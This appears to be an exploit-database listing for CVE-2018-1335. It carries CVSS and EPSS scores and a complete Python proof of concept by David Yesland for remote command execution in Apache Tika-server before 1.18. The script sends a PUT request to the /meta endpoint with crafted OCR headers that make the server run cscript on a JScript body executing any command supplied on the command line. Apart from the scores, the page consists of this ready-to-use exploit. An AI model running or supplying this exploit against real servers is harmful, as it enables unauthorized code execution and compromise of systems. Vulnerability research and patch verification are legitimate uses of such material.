Lucene search

K
zdtDavid Yesland1337DAY-ID-32352
HistoryMar 13, 2019 - 12:00 a.m.

Apache Tika-server < 1.18 - Command Injection Exploit

2019-03-1300:00:00
David Yesland
0day.today
39

8.1 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

HIGH

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

9.3 High

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:N/C:C/I:C/A:C

0.967 High

EPSS

Percentile

99.6%

######################################################################################################
#Description: This is a PoC for remote command execution in Apache Tika-server.                      #
#Versions Affected: Tika-server versions < 1.18                                                      #   
#Researcher: David Yesland Twitter: @Daveysec                                                        #
#Blog Link: https://rhinosecuritylabs.com/application-security/exploiting-cve-2018-1335-apache-tika/ #                                                                   # 
#NIST CVE Link: https://nvd.nist.gov/vuln/detail/CVE-2018-1335                                       #
######################################################################################################

import sys
import requests

if len(sys.argv) < 4:
	print "Usage: python CVE-2018-1335.py <host> <port> <command>"
	print "Example: python CVE-2018-1335.py localhost 9998 calc.exe"
else:
	host = sys.argv[1]
	port = sys.argv[2]
	cmd = sys.argv[3]

	url = host+":"+str(port)+"/meta"

	headers = {"X-Tika-OCRTesseractPath": "\"cscript\"", 
		"X-Tika-OCRLanguage": "//E:Jscript", 
		"Expect": "100-continue", 
		"Content-type": "image/jp2", 
		"Connection": "close"}

	jscript='''var oShell = WScript.CreateObject("WScript.Shell");
	var oExec = oShell.Exec('cmd /c {}');
	'''.format(cmd)

	try:
		requests.put("https://"+url, headers=headers, data=jscript, verify=False)
	
	except:
		try:
			requests.put("http://"+url, headers=headers, data=jscript)
		except:
			print "Something went wrong.\nUsage: python CVE-2018-1335.py <host> <port> <command>"

8.1 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

HIGH

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

9.3 High

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:N/C:C/I:C/A:C

0.967 High

EPSS

Percentile

99.6%